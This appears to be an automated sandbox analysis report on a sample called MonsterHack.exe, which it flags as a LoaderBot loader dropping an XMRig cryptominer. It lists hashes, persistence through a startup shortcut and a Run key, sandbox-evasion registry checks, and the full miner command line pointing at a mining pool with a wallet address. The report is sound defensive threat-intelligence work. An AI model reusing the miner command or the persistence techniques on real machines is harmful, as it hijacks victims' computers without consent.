Analysis
-
max time kernel
150s -
max time network
148s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
23-06-2024 11:50
Behavioral task
behavioral1
Sample
MonsterHack.exe
Resource
win7-20240508-en
windows7-x64
14 signatures
150 seconds
Behavioral task
behavioral2
Sample
MonsterHack.exe
Resource
win10v2004-20240508-en
windows10-2004-x64
18 signatures
150 seconds
General
-
Target
MonsterHack.exe
-
Size
4.0MB
-
MD5
6efea760737c914276321712b7c5faf0
-
SHA1
cac227707c574deba24c71c85e64e0da1e246b11
-
SHA256
6952e0e1fc7847b46473a9f22ba352a06623f966e08bb6f79a8b189a117e1510
-
SHA512
f60077d79a205a78ca86dbd32072604298e2df14dbbc96c94561765289aaeb79123b5fe747e9dcda8289682c57805b9449c67f21f10f4b2453abf09b0ac88561
-
SSDEEP
49152:5NDFFPJu8fBsVE6ij+RNg+UKpBvtqB3m1RC3:vzP88fBsnZTgOtqB3m1RC3
Score
10/10
Malware Config
Signatures
-
LoaderBot executable 1 IoCs
resource yara_rule behavioral2/memory/4172-1-0x00000000002A0000-0x000000000069E000-memory.dmp loaderbot -
XMRig Miner payload 8 IoCs
resource yara_rule behavioral2/memory/2940-18-0x0000000140000000-0x0000000140B75000-memory.dmp xmrig behavioral2/memory/932-22-0x0000000140000000-0x0000000140B75000-memory.dmp xmrig behavioral2/memory/2332-38-0x0000000140000000-0x0000000140B75000-memory.dmp xmrig behavioral2/memory/2052-45-0x0000000140000000-0x0000000140B75000-memory.dmp xmrig behavioral2/memory/2052-46-0x0000000140000000-0x0000000140B75000-memory.dmp xmrig behavioral2/memory/2052-47-0x0000000140000000-0x0000000140B75000-memory.dmp xmrig behavioral2/memory/2052-48-0x0000000140000000-0x0000000140B75000-memory.dmp xmrig behavioral2/memory/2052-49-0x0000000140000000-0x0000000140B75000-memory.dmp xmrig -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation MonsterHack.exe -
Drops startup file 2 IoCs
description ioc Process File opened for modification \??\c:\users\admin\appdata\roaming\microsoft\windows\start menu\programs\startup\driver.url taskmgr.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Driver.url MonsterHack.exe -
Executes dropped EXE 4 IoCs
pid Process 2940 Driver.exe 932 Driver.exe 2332 Driver.exe 2052 Driver.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Driver = "C:\\Users\\Admin\\AppData\\Roaming\\Sysfiles\\MonsterHack.exe" MonsterHack.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000 taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A taskmgr.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName taskmgr.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString taskmgr.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 taskmgr.exe -
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\Local Settings taskmgr.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4172 MonsterHack.exe 4172 MonsterHack.exe 4172 MonsterHack.exe 4172 MonsterHack.exe 4172 MonsterHack.exe 4172 MonsterHack.exe 4172 MonsterHack.exe 4172 MonsterHack.exe 4172 MonsterHack.exe 4172 MonsterHack.exe 4172 MonsterHack.exe 4172 MonsterHack.exe 4172 MonsterHack.exe 4172 MonsterHack.exe 4172 MonsterHack.exe 4172 MonsterHack.exe 4172 MonsterHack.exe 4172 MonsterHack.exe 4172 MonsterHack.exe 4172 MonsterHack.exe 4172 MonsterHack.exe 4172 MonsterHack.exe 4172 MonsterHack.exe 4172 MonsterHack.exe 4172 MonsterHack.exe 4172 MonsterHack.exe 4172 MonsterHack.exe 4172 MonsterHack.exe 4172 MonsterHack.exe 4172 MonsterHack.exe 4172 MonsterHack.exe 4172 MonsterHack.exe 4172 MonsterHack.exe 4172 MonsterHack.exe 4172 MonsterHack.exe 4172 MonsterHack.exe 4172 MonsterHack.exe 4172 MonsterHack.exe 4172 MonsterHack.exe 4172 MonsterHack.exe 4172 MonsterHack.exe 4172 MonsterHack.exe 4172 MonsterHack.exe 4172 MonsterHack.exe 4172 MonsterHack.exe 4172 MonsterHack.exe 4172 MonsterHack.exe 4172 MonsterHack.exe 4172 MonsterHack.exe 4172 MonsterHack.exe 4172 MonsterHack.exe 4172 MonsterHack.exe 4172 MonsterHack.exe 4172 MonsterHack.exe 4172 MonsterHack.exe 4172 MonsterHack.exe 4172 MonsterHack.exe 4172 MonsterHack.exe 4172 MonsterHack.exe 4172 MonsterHack.exe 4172 MonsterHack.exe 4172 MonsterHack.exe 4172 MonsterHack.exe 4172 MonsterHack.exe -
Suspicious behavior: RenamesItself 1 IoCs
pid Process 4172 MonsterHack.exe -
Suspicious use of AdjustPrivilegeToken 12 IoCs
description pid Process Token: SeDebugPrivilege 4172 MonsterHack.exe Token: SeLockMemoryPrivilege 2940 Driver.exe Token: SeLockMemoryPrivilege 2940 Driver.exe Token: SeLockMemoryPrivilege 2332 Driver.exe Token: SeLockMemoryPrivilege 2332 Driver.exe Token: SeDebugPrivilege 4652 taskmgr.exe Token: SeSystemProfilePrivilege 4652 taskmgr.exe Token: SeCreateGlobalPrivilege 4652 taskmgr.exe Token: 33 4652 taskmgr.exe Token: SeIncBasePriorityPrivilege 4652 taskmgr.exe Token: SeLockMemoryPrivilege 2052 Driver.exe Token: SeLockMemoryPrivilege 2052 Driver.exe -
Suspicious use of FindShellTrayWindow 64 IoCs
pid Process 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe -
Suspicious use of SendNotifyMessage 64 IoCs
pid Process 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe 4652 taskmgr.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 4172 wrote to memory of 2940 4172 MonsterHack.exe 82 PID 4172 wrote to memory of 2940 4172 MonsterHack.exe 82 PID 4172 wrote to memory of 932 4172 MonsterHack.exe 87 PID 4172 wrote to memory of 932 4172 MonsterHack.exe 87 PID 4172 wrote to memory of 2332 4172 MonsterHack.exe 91 PID 4172 wrote to memory of 2332 4172 MonsterHack.exe 91 PID 4172 wrote to memory of 2052 4172 MonsterHack.exe 101 PID 4172 wrote to memory of 2052 4172 MonsterHack.exe 101
Processes
-
C:\Users\Admin\AppData\Local\Temp\MonsterHack.exe"C:\Users\Admin\AppData\Local\Temp\MonsterHack.exe"1⤵
- Checks computer location settings
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4172 -
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 44FEKL4SFwbd3jdcsNNBTrBkRfqdhebqMEdu5YWGXC3GgoR6zTUVr9P7oUY6j69netMcXN39h6w37Z2FwNmMJZHFSoLXgte -p x -k -v=0 --donate-level=1 -t 42⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2940
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 44FEKL4SFwbd3jdcsNNBTrBkRfqdhebqMEdu5YWGXC3GgoR6zTUVr9P7oUY6j69netMcXN39h6w37Z2FwNmMJZHFSoLXgte -p x -k -v=0 --donate-level=1 -t 42⤵
- Executes dropped EXE
PID:932
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 44FEKL4SFwbd3jdcsNNBTrBkRfqdhebqMEdu5YWGXC3GgoR6zTUVr9P7oUY6j69netMcXN39h6w37Z2FwNmMJZHFSoLXgte -p x -k -v=0 --donate-level=1 -t 42⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2332
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 44FEKL4SFwbd3jdcsNNBTrBkRfqdhebqMEdu5YWGXC3GgoR6zTUVr9P7oUY6j69netMcXN39h6w37Z2FwNmMJZHFSoLXgte -p x -k -v=0 --donate-level=1 -t 42⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2052
-
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
- Drops startup file
- Checks SCSI registry key(s)
- Checks processor information in registry
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:4652
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵PID:856
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
177B
MD50473c18c4bc6cfc88f19ff1061cece56
SHA1be986ef447d98e159ee859873a819e2ee06e3496
SHA2561e5612f63f74dab7254a065d622a84c5460d9367dcdce5d5be0fe6845fa6b30c
SHA5120da901255204e68da702194ade25c84079fcdda5bc9ae9bd320fd8f85efd9052a467b9ecca70eb46cb378cba1916296de0ce783ca9050fab2eef1bb6e37d5989
-
Filesize
3.9MB
MD502569a7a91a71133d4a1023bf32aa6f4
SHA10f16bcb3f3f085d3d3be912195558e9f9680d574
SHA2568d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322